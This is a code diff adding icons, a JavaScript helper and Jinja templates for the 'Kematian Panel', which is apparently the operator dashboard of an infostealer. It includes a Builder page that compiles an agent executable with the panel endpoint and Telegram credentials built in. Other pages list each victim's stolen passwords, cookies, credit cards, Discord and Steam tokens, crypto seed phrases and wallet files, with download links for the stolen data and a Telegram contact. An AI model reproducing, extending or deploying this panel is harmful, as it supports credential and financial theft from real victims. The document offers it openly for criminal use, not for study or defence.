<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M6 3h12v18l-6-4-6 4z"/></svg>
|
||||
|
After Width: | Height: | Size: 192 B |
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="2" y="5" width="20" height="14" rx="2"/><path d="M2 10h20"/><path d="M6 15h4"/></svg>
|
||||
|
After Width: | Height: | Size: 248 B |
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M4 11a8 8 0 0 1 16 0v5a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2z"/><circle cx="12" cy="13" r="1.6"/><path d="M10 11v2M14 11v2"/></svg>
|
||||
|
After Width: | Height: | Size: 286 B |
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#a855f7" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="4" width="18" height="16" rx="2"/><path d="M7 15h4M7 10h6"/><path d="M15 8v4h3V8z"/></svg>
|
||||
|
After Width: | Height: | Size: 259 B |
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="8" cy="8" r="3.5"/><circle cx="16" cy="6" r="3"/><circle cx="16" cy="16" r="3.5"/></svg>
|
||||
|
After Width: | Height: | Size: 254 B |
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="7" y="2" width="10" height="20" rx="2.5"/><circle cx="12" cy="12" r="2.5"/><circle cx="12" cy="18" r="1"/><circle cx="10" cy="5.5" r="1"/><circle cx="14" cy="5.5" r="1"/></svg>
|
||||
|
After Width: | Height: | Size: 339 B |
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M14 3H7a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V8z"/><path d="M14 3v5h5"/><path d="M9 13h6M9 17h6"/></svg>
|
||||
|
After Width: | Height: | Size: 277 B |
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M6 11h4v10H2V11a8 8 0 0 1 16 0"/><path d="M22 11v10h-8"/><circle cx="16" cy="7" r="2"/><path d="M2 15h4M18 15h4"/></svg>
|
||||
|
After Width: | Height: | Size: 283 B |
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="9"/><path d="M12 7v5l3 2"/></svg>
|
||||
|
After Width: | Height: | Size: 214 B |
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="8" cy="15" r="4"/><path d="M10.5 12.5 19 5"/><path d="M16 7l2 2"/><circle cx="18" cy="6" r="1"/></svg>
|
||||
|
After Width: | Height: | Size: 268 B |
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="4" width="18" height="16" rx="2"/><path d="M7 8h4M7 12h4"/><path d="M11 8v8h2a2 2 0 0 0 2-2v-4a2 2 0 0 0-2-2z"/></svg>
|
||||
|
After Width: | Height: | Size: 287 B |
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 3l3 6 6 1-4.5 4.5 1 6L12 17l-5.5 3.5 1-6L3 10l6-1z"/><path d="M12 7l1.5 3 3 .5"/></svg>
|
||||
|
After Width: | Height: | Size: 254 B |
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="9"/><circle cx="12" cy="12" r="3.2"/><path d="M7.5 7.5l3.2 2.2"/><path d="M13 13.5l2 5"/></svg>
|
||||
|
After Width: | Height: | Size: 276 B |
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 13a3 3 0 0 1-3 3H7l-4 3V7a3 3 0 0 1 3-3h12a3 3 0 0 1 3 3z"/><path d="M8 10h.01M12 10h.01M16 10h.01"/></svg>
|
||||
|
After Width: | Height: | Size: 274 B |
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2l8 5v6c0 5-4 8-8 9-4-1-8-4-8-9V7z"/><path d="M9 12l2 2 4-4"/></svg>
|
||||
|
After Width: | Height: | Size: 235 B |
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="2" y="6" width="20" height="12" rx="2"/><circle cx="12" cy="12" r="2.5"/><path d="M6 12h1M17 12h1"/></svg>
|
||||
|
After Width: | Height: | Size: 269 B |
@@ -0,0 +1,35 @@
|
||||
// Secret toggle: `.pw` cells are masked by default. A global "Reveal" button
|
||||
// (`.reveal-all`) toggles visibility. Clicking a `.pw` cell copies its value.
|
||||
document.addEventListener("DOMContentLoaded", () => {
|
||||
const mask = (el) => {
|
||||
if (!el.dataset.real) el.dataset.real = el.textContent;
|
||||
el.dataset.masked = "";
|
||||
el.textContent = el.dataset.real.replace(/./g, "•");
|
||||
};
|
||||
|
||||
document.querySelectorAll(".pw").forEach((el) => mask(el));
|
||||
|
||||
const revealAll = document.querySelector(".reveal-all");
|
||||
if (revealAll) {
|
||||
revealAll.addEventListener("click", () => {
|
||||
const on = revealAll.dataset.on === "1";
|
||||
document.querySelectorAll(".pw").forEach((el) => {
|
||||
if (on) mask(el);
|
||||
else el.textContent = el.dataset.real || el.textContent;
|
||||
});
|
||||
revealAll.dataset.on = on ? "" : "1";
|
||||
revealAll.textContent = on ? "Reveal secrets" : "Hide secrets";
|
||||
});
|
||||
}
|
||||
|
||||
document.querySelectorAll(".pw").forEach((el) => {
|
||||
el.addEventListener("click", () => {
|
||||
const real = el.dataset.real || el.textContent;
|
||||
navigator.clipboard?.writeText(real).then(() => {
|
||||
const prev = el.textContent;
|
||||
el.textContent = "copied ✓";
|
||||
setTimeout(() => { el.textContent = prev; }, 700);
|
||||
}).catch(() => {});
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,83 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>{% block title %}Kematian Panel{% endblock %}</title>
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet">
|
||||
<link rel="stylesheet" href="{{ url_for('static', filename='css/style.css') }}">
|
||||
<script src="{{ url_for('static', filename='js/app.js') }}" defer></script>
|
||||
{% block head %}{% endblock %}
|
||||
</head>
|
||||
<body>
|
||||
{% if session.get('admin') %}
|
||||
<aside class="sidebar">
|
||||
<div class="brand">
|
||||
<div class="brand-logo">☠</div>
|
||||
<div class="brand-name">kematian<span class="brand-dot">panel</span></div>
|
||||
</div>
|
||||
|
||||
<div class="profile">
|
||||
<div class="profile-avatar">{{ (session['admin'][:1]) | upper }}</div>
|
||||
<div class="profile-info">
|
||||
<div class="profile-name">{{ session['admin'] }}</div>
|
||||
<div class="profile-role">Administrator</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="nav-group-label">Main Menu</div>
|
||||
<nav class="nav">
|
||||
<a href="{{ url_for('dashboard') }}" class="nav-item">
|
||||
<img src="{{ url_for('static', filename='icons/dash.svg') }}" alt="" class="nav-ico">Dashboard
|
||||
</a>
|
||||
<a href="{{ url_for('clients') }}" class="nav-item">
|
||||
<img src="{{ url_for('static', filename='icons/files.svg') }}" alt="" class="nav-ico">Activity Logs
|
||||
</a>
|
||||
<a href="{{ url_for('fileshare') }}" class="nav-item">
|
||||
<img src="{{ url_for('static', filename='icons/wallet.svg') }}" alt="" class="nav-ico">FileShare
|
||||
</a>
|
||||
<a href="{{ url_for('all_loot') }}" class="nav-item">
|
||||
<img src="{{ url_for('static', filename='icons/files.svg') }}" alt="" class="nav-ico">Loot
|
||||
</a>
|
||||
</nav>
|
||||
|
||||
<div class="nav-group-label">Data</div>
|
||||
<nav class="nav">
|
||||
{% for key, (label, table, icon, title) in categories.items() %}
|
||||
<a href="{{ url_for('category', key=key) }}" class="nav-item">
|
||||
<img src="{{ url_for('static', filename='icons/' ~ icon ~ '.svg') }}" alt="" class="nav-ico">{{ label }}
|
||||
</a>
|
||||
{% endfor %}
|
||||
</nav>
|
||||
|
||||
<div class="nav-group-label">Settings</div>
|
||||
<nav class="nav">
|
||||
<a href="{{ url_for('build_page') }}" class="nav-item">
|
||||
<img src="{{ url_for('static', filename='icons/key.svg') }}" alt="" class="nav-ico">Builder
|
||||
</a>
|
||||
<a href="{{ url_for('search') }}" class="nav-item">
|
||||
<img src="{{ url_for('static', filename='icons/history.svg') }}" alt="" class="nav-ico">Search
|
||||
</a>
|
||||
</nav>
|
||||
|
||||
<div class="sidebar-foot">
|
||||
<div class="online"><span class="online-dot"></span>Online</div>
|
||||
<div class="foot-user">{{ session['admin'] }}</div>
|
||||
<a href="{{ url_for('logout') }}" class="logout-btn">Logout</a>
|
||||
</div>
|
||||
</aside>
|
||||
{% endif %}
|
||||
<div class="main {% if session.get('admin') %}with-sidebar{% endif %}">
|
||||
{% with messages = get_flashed_messages(with_categories=true) %}
|
||||
{% for cat, msg in messages %}
|
||||
<div class="flash flash-{{ cat }}">{{ msg }}</div>
|
||||
{% endfor %}
|
||||
{% endwith %}
|
||||
{% block content %}{% endblock %}
|
||||
</div>
|
||||
<footer class="panel-foot">
|
||||
<a href="https://t.me/electronic_sex" target="_blank" rel="noopener">t.me/electronic_sex</a>
|
||||
</footer>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,95 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}Builder · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="page-head">
|
||||
<div>
|
||||
<h1>Agent <span class="accent">Builder</span></h1>
|
||||
<p class="muted">Build a fresh kematian.exe on the server with your panel + Telegram config baked in.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{% if error %}
|
||||
<div class="flash flash-error">{{ error }}</div>
|
||||
{% endif %}
|
||||
|
||||
<form class="build-form" method="post" action="{{ url_for('build_start') }}">
|
||||
<div class="form-card">
|
||||
<h2>Target configuration</h2>
|
||||
|
||||
<label>Panel endpoint</label>
|
||||
<input type="text" name="endpoint" value="{{ default_endpoint }}" placeholder="https://mypanel.com" autocomplete="off">
|
||||
<p class="hint">Panelinizin adresi. `/api/ingest` otomatik eklenir.</p>
|
||||
|
||||
<label>Panel auth / ingest key</label>
|
||||
<input type="text" name="auth" placeholder="kematian-ingest-key-CHANGE-ME" required autocomplete="off">
|
||||
<p class="hint">Paneldeki <code>PANEL_INGEST_KEY</code> ile aynı olmalı.</p>
|
||||
|
||||
<div class="form-row">
|
||||
<div>
|
||||
<label>Telegram bot token <span class="muted">(opsiyonel)</span></label>
|
||||
<input type="text" name="bot_token" placeholder="123456:ABC... . . ." autocomplete="off">
|
||||
</div>
|
||||
<div>
|
||||
<label>Telegram chat ID <span class="muted">(opsiyonel)</span></label>
|
||||
<input type="text" name="chat_id" placeholder="-100123456" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<label>Build name</label>
|
||||
<input type="text" name="build_name" value="kematian" autocomplete="off" style="max-width:260px">
|
||||
|
||||
<button type="submit" class="btn btn-primary">Build agent</button>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
{% if started %}
|
||||
<div class="build-progress" data-build="{{ started }}">
|
||||
<h2>Build <span class="mono">#{{ started }}</span></h2>
|
||||
<div id="build-actions"></div>
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
{% if builds %}
|
||||
<h2 class="section-title">Recent builds</h2>
|
||||
<div class="table-card">
|
||||
<table>
|
||||
<thead><tr><th>#</th><th>Status</th><th>File</th><th></th></tr></thead>
|
||||
<tbody>
|
||||
{% for id, j in builds.items() %}
|
||||
<tr>
|
||||
<td class="mono">#{{ id }}</td>
|
||||
<td><span class="tag tag-{{ j['status'] }}">{{ j['status'] }}</span></td>
|
||||
<td class="mono">{{ j['exe'] and os.path.basename(j['exe']) or '—' }}</td>
|
||||
<td>{% if j['exe'] %}<a class="btn btn-ghost btn-sm" href="{{ url_for('build_download', filename=os.path.basename(j['exe'])) }}">Download</a>{% elif j['status'] == 'running' %}<button class="btn btn-ghost btn-sm" onclick="pollStatus({{ id }}, true)">Refresh</button>{% endif %}</td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
<script>
|
||||
function pollStatus(id, isRow) {
|
||||
fetch(`/build/status/${id}`)
|
||||
.then(r => r.json())
|
||||
.then(d => {
|
||||
const actions = document.getElementById("build-actions");
|
||||
if (!actions) return;
|
||||
if (d.status === "done" && d.download) {
|
||||
actions.innerHTML = `<span class="muted">Build finished.</span> <a class="btn btn-primary" href="${d.download}">Download agent</a>`;
|
||||
} else if (d.status === "error") {
|
||||
actions.innerHTML = `<span class="flash flash-error">Build failed: ${esc(d.error || "unknown")}</span>`;
|
||||
} else {
|
||||
actions.innerHTML = `<span class="muted">Building…</span>`;
|
||||
}
|
||||
});
|
||||
}
|
||||
function esc(s) {
|
||||
return String(s).replace(/[&<>"']/g, c => ({'&':'&','<':'<','>':'>','"':'"',"'":'''}[c]));
|
||||
}
|
||||
{% if started %}
|
||||
setInterval(() => pollStatus({{ started }}), 2000);
|
||||
pollStatus({{ started }});
|
||||
{% endif %}
|
||||
</script>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,151 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}{{ title }} · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="page-head">
|
||||
<div>
|
||||
<h1 class="with-ico"><img src="{{ url_for('static', filename='icons/' ~ icon ~ '.svg') }}" class="head-ico" alt="">{{ label }}</h1>
|
||||
<p class="muted">{{ title }} · {{ rows|length }} total{% if client_filter %} · <a href="{{ url_for('category', key=key) }}">clear filter</a>{% endif %}</p>
|
||||
{% if client_filter and key in ['wallets','telegram','gaming','files','keys'] %}
|
||||
<p class="muted"><a href="{{ url_for('client_loot', client_id=client_filter) }}" class="accent">→ download hosted files for this client</a></p>
|
||||
{% endif %}
|
||||
</div>
|
||||
<div class="head-actions">
|
||||
{% if key in ['passwords','cookies','autofill','credit_cards','discord_tokens','app_credentials','seeds','steam_tokens'] %}
|
||||
<button type="button" class="btn btn-ghost reveal-all">Reveal secrets</button>
|
||||
{% endif %}
|
||||
<a class="btn btn-ghost" href="{{ url_for('api_raw', key=key) }}{% if client_filter %}?client={{ client_filter }}{% endif %}" target="_blank">Raw JSON</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="table-card">
|
||||
<div class="table-scroll">
|
||||
<table class="cat-table">
|
||||
<thead>
|
||||
<tr>
|
||||
{% if key == 'passwords' %}<th>URL</th><th>Username</th><th>Password</th><th>Browser</th>{% endif %}
|
||||
{% if key == 'cookies' %}<th>Host</th><th>Name</th><th>Value</th><th>Browser</th>{% endif %}
|
||||
{% if key == 'autofill' %}<th>Field</th><th>Value</th><th>Browser</th>{% endif %}
|
||||
{% if key == 'history' %}<th>URL</th><th>Title</th><th>Visits</th><th>Last visit</th>{% endif %}
|
||||
{% if key == 'bookmarks' %}<th>Name</th><th>URL</th><th>Type</th>{% endif %}
|
||||
{% if key == 'credit_cards' %}<th>Card</th><th>Holder</th><th>Exp</th><th>Browser</th>{% endif %}
|
||||
{% if key == 'discord_tokens' %}<th>Token</th><th>Source</th>{% endif %}
|
||||
{% if key == 'files' %}<th>Name</th><th>Size</th><th>Path</th>{% endif %}
|
||||
{% if key == 'extensions' %}<th>Name</th><th>Version</th><th>Browser</th><th>ID</th>{% endif %}
|
||||
{% if key == 'wallets' %}<th>Name</th><th>Type</th><th>Size</th><th>Addresses</th>{% endif %}
|
||||
{% if key == 'telegram' %}<th>Account</th><th>Files</th><th>Size</th><th>Path</th>{% endif %}
|
||||
{% if key == 'keys' %}<th>Type</th><th>Name</th><th>Size</th><th>Path</th>{% endif %}
|
||||
{% if key in ['wallets','telegram','gaming'] %}<th>Files</th>{% endif %}
|
||||
{% if key == 'app_credentials' %}<th>App</th><th>Host</th><th>Username</th><th>Password</th>{% endif %}
|
||||
{% if key == 'seeds' %}<th>Phrase</th><th>Source</th><th>Words</th>{% endif %}
|
||||
{% if key == 'gaming' %}<th>Platform</th><th>Data</th>{% endif %}
|
||||
{% if key == 'steam_tokens' %}<th>Steam ID</th><th>Token</th>{% endif %}
|
||||
{% if key == 'vpns' %}<th>VPN</th><th>Data</th>{% endif %}
|
||||
<th>Client</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{% for r in rows %}
|
||||
<tr>
|
||||
{% if key == 'passwords' %}
|
||||
<td class="mono">{{ r['url'] or '' }}</td>
|
||||
<td>{{ r['username'] or '' }}</td>
|
||||
<td class="pw">{{ r['password'] or '' }}</td>
|
||||
<td>{{ r['browser'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'cookies' %}
|
||||
<td class="mono">{{ r['host'] or '' }}</td>
|
||||
<td class="mono">{{ r['name'] or '' }}</td>
|
||||
<td class="mono pw">{{ r['value'] or '' }}</td>
|
||||
<td>{{ r['browser'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'autofill' %}
|
||||
<td>{{ r['name'] or '' }}</td>
|
||||
<td class="pw">{{ r['value'] or '' }}</td>
|
||||
<td>{{ r['browser'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'history' %}
|
||||
<td class="mono">{{ r['url'] or '' }}</td>
|
||||
<td>{{ r['title'] or '' }}</td>
|
||||
<td>{{ r['visit_count'] or 0 }}</td>
|
||||
<td>{{ (r['last_visit_time'] | datetime) if r['last_visit_time'] else '—' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'bookmarks' %}
|
||||
<td>{{ r['name'] or '' }}</td>
|
||||
<td class="mono">{{ r['url'] or '' }}</td>
|
||||
<td>{{ r['type'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'credit_cards' %}
|
||||
<td class="pw">{{ r['card_number'] or '' }}</td>
|
||||
<td>{{ r['name_on_card'] or '' }}</td>
|
||||
<td>{{ r['expiration_month'] or '?' }}/{{ r['expiration_year'] or '?' }}</td>
|
||||
<td>{{ r['browser'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'discord_tokens' %}
|
||||
<td class="mono pw">{{ r['token'] or '' }}</td>
|
||||
<td>{{ r['source'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'files' %}
|
||||
<td>{{ r['name'] or '' }}</td>
|
||||
<td>{{ (r['size'] | filesize) }}</td>
|
||||
<td class="mono">{{ r['path'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'extensions' %}
|
||||
<td>{{ r['name'] or '' }}</td>
|
||||
<td>{{ r['version'] or '' }}</td>
|
||||
<td>{{ r['browser'] or '' }}</td>
|
||||
<td class="mono">{{ r['ext_id'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'wallets' %}
|
||||
<td>{{ r['name'] or '' }}</td>
|
||||
<td>{{ r['type'] or '' }}</td>
|
||||
<td>{{ (r['size'] | filesize) }}</td>
|
||||
<td class="mono">{{ r['addresses'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'telegram' %}
|
||||
<td>{{ r['account'] or '' }}</td>
|
||||
<td>{{ r['files'] or 0 }}</td>
|
||||
<td>{{ (r['size'] | filesize) }}</td>
|
||||
<td class="mono">{{ r['path'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'keys' %}
|
||||
<td>{{ r['type'] or '' }}</td>
|
||||
<td>{{ r['name'] or '' }}</td>
|
||||
<td>{{ (r['size'] | filesize) }}</td>
|
||||
<td class="mono">{{ r['path'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key in ['wallets','telegram','gaming'] %}
|
||||
<td><a class="btn btn-ghost btn-sm" href="{{ url_for('client_loot', client_id=r.client_id) }}">Download</a></td>
|
||||
{% endif %}
|
||||
{% if key == 'app_credentials' %}
|
||||
<td>{{ r['application'] or '' }}</td>
|
||||
<td class="mono">{{ r['host'] or '' }}</td>
|
||||
<td>{{ r['username'] or '' }}</td>
|
||||
<td class="pw">{{ r['password'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'seeds' %}
|
||||
<td class="mono pw">{{ r['phrase'] or '' }}</td>
|
||||
<td>{{ r['source'] or '' }}</td>
|
||||
<td>{{ r['words'] or 0 }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'gaming' %}
|
||||
<td>{{ r['platform'] or '' }}</td>
|
||||
<td class="mono">{{ (r['payload'] or '')[:60] }}{% if r['payload'] and r['payload']|length > 60 %}…{% endif %}</td>
|
||||
{% endif %}
|
||||
{% if key == 'steam_tokens' %}
|
||||
<td class="mono">{{ r['steam_id'] or '' }}</td>
|
||||
<td class="mono pw">{{ r['token'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'vpns' %}
|
||||
<td>{{ r['vpn'] or '' }}</td>
|
||||
<td class="mono">{{ (r['payload'] or '')[:60] }}{% if r['payload'] and r['payload']|length > 60 %}…{% endif %}</td>
|
||||
{% endif %}
|
||||
<td><a href="{{ url_for('client_detail', client_id=r.client_id) }}" class="mono client-link">{{ r.client_id }}</a></td>
|
||||
</tr>
|
||||
{% else %}
|
||||
<tr><td colspan="12" class="empty">No {{ label|lower }} yet.</td></tr>
|
||||
{% endfor %}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,34 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}{{ cli.client_id }} · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="page-head">
|
||||
<div>
|
||||
<h1 class="mono">{{ cli.client_id }}</h1>
|
||||
<p class="muted">{{ cli.os or 'Unknown' }} {{ cli.arch or '' }} · v{{ cli.version or '?' }}</p>
|
||||
</div>
|
||||
<div class="head-actions">
|
||||
<a class="btn btn-primary" href="{{ url_for('client_loot', client_id=cli.client_id) }}">Files & Downloads</a>
|
||||
<a class="btn btn-ghost" href="{{ url_for('clients') }}">Back</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="stat-row">
|
||||
<div class="stat-card"><div class="stat-num">{{ cli.ip or '—' }}</div><div class="stat-label">IP</div></div>
|
||||
<div class="stat-card"><div class="stat-num">{{ cli.total_entries }}</div><div class="stat-label">Entries</div></div>
|
||||
<div class="stat-card"><div class="stat-num">{{ (cli.first_seen | datetime) if cli.first_seen else '—' }}</div><div class="stat-label">First seen</div></div>
|
||||
<div class="stat-card"><div class="stat-num">{{ (cli.last_seen | datetime) if cli.last_seen else '—' }}</div><div class="stat-label">Last seen</div></div>
|
||||
</div>
|
||||
|
||||
<h2 class="section-title">Data breakdown</h2>
|
||||
<div class="grid">
|
||||
{% for key, s in per_cat.items() %}
|
||||
<a class="type-card" href="{{ url_for('category', key=key) }}?client={{ cli.client_id }}">
|
||||
<img src="{{ url_for('static', filename='icons/' ~ s.icon ~ '.svg') }}" class="type-ico" alt="">
|
||||
<div class="type-body">
|
||||
<div class="type-label">{{ s.label }}</div>
|
||||
<div class="type-count">{{ s.count }}</div>
|
||||
</div>
|
||||
</a>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,34 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}Clients · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="page-head">
|
||||
<div>
|
||||
<h1>Clients</h1>
|
||||
<p class="muted">Every agent that has reported in.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="table-card">
|
||||
<table>
|
||||
<thead>
|
||||
<tr><th>Client</th><th>OS</th><th>Arch</th><th>Version</th><th>IP</th><th>First seen</th><th>Last seen</th><th>Entries</th></tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{% for c in clients %}
|
||||
<tr>
|
||||
<td><a href="{{ url_for('client_detail', client_id=c.client_id) }}" class="mono">{{ c.client_id }}</a></td>
|
||||
<td>{{ c.os or '—' }}</td>
|
||||
<td>{{ c.arch or '—' }}</td>
|
||||
<td>{{ c.version or '—' }}</td>
|
||||
<td class="mono">{{ c.ip or '—' }}</td>
|
||||
<td>{{ (c.first_seen | datetime) if c.first_seen else '—' }}</td>
|
||||
<td>{{ (c.last_seen | datetime) if c.last_seen else '—' }}</td>
|
||||
<td>{{ c.total_entries }}</td>
|
||||
</tr>
|
||||
{% else %}
|
||||
<tr><td colspan="8" class="empty">No clients yet.</td></tr>
|
||||
{% endfor %}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,154 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}Dashboard · Kematian {% endblock %}
|
||||
{% block head %}
|
||||
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/chart.umd.min.js"></script>
|
||||
{% endblock %}
|
||||
{% block content %}
|
||||
<div class="page-head">
|
||||
<div>
|
||||
<h1>Dashboard</h1>
|
||||
<p class="muted">Overview of everything Kematian has collected. t.me/electronic_sex</p>
|
||||
</div>
|
||||
<div class="head-actions">
|
||||
<a class="btn btn-ghost" href="{{ url_for('clients') }}">View clients</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="stat-row">
|
||||
<div class="stat-card">
|
||||
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/files.svg') }}" alt=""></div>
|
||||
<div class="stat-num">{{ client_count }}</div>
|
||||
<div class="stat-label">Total Clients</div>
|
||||
<span class="stat-trend up">live</span>
|
||||
</div>
|
||||
<div class="stat-card">
|
||||
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/pass.svg') }}" alt=""></div>
|
||||
<div class="stat-num">{{ stats['passwords'].count }}</div>
|
||||
<div class="stat-label">Passwords Captured</div>
|
||||
<span class="stat-trend up">collected</span>
|
||||
</div>
|
||||
<div class="stat-card">
|
||||
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/cookie.svg') }}" alt=""></div>
|
||||
<div class="stat-num">{{ stats['cookies'].count }}</div>
|
||||
<div class="stat-label">Cookies Stolen</div>
|
||||
<span class="stat-trend up">collected</span>
|
||||
</div>
|
||||
<div class="stat-card">
|
||||
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/discord.svg') }}" alt=""></div>
|
||||
<div class="stat-num">{{ stats['discord_tokens'].count }}</div>
|
||||
<div class="stat-label">Discord Tokens</div>
|
||||
<span class="stat-trend up">collectible</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="charts-row">
|
||||
<div class="chart-card">
|
||||
<h2>Activity Overview</h2>
|
||||
<div class="chart-body"><canvas id="activityChart"></canvas></div>
|
||||
</div>
|
||||
<div class="chart-card">
|
||||
<h2>Data Distribution</h2>
|
||||
<div class="chart-body"><canvas id="distChart"></canvas></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="page-head" style="margin-bottom:12px">
|
||||
<div><h1 style="font-size:19px">Recent Activity</h1></div>
|
||||
<div class="head-actions">
|
||||
<a class="btn btn-ghost" href="{{ url_for('clients') }}">All clients</a>
|
||||
<a class="btn btn-primary" href="{{ url_for('all_loot') }}">Downloads</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="table-card">
|
||||
<div class="table-scroll">
|
||||
<table>
|
||||
<thead>
|
||||
<tr><th>Date</th><th>Victim</th><th>IP</th><th>System</th><th>Entries</th><th></th></tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{% for c in recent %}
|
||||
<tr>
|
||||
<td class="mono">{{ (c.last_seen | datetime) if c.last_seen else '—' }}</td>
|
||||
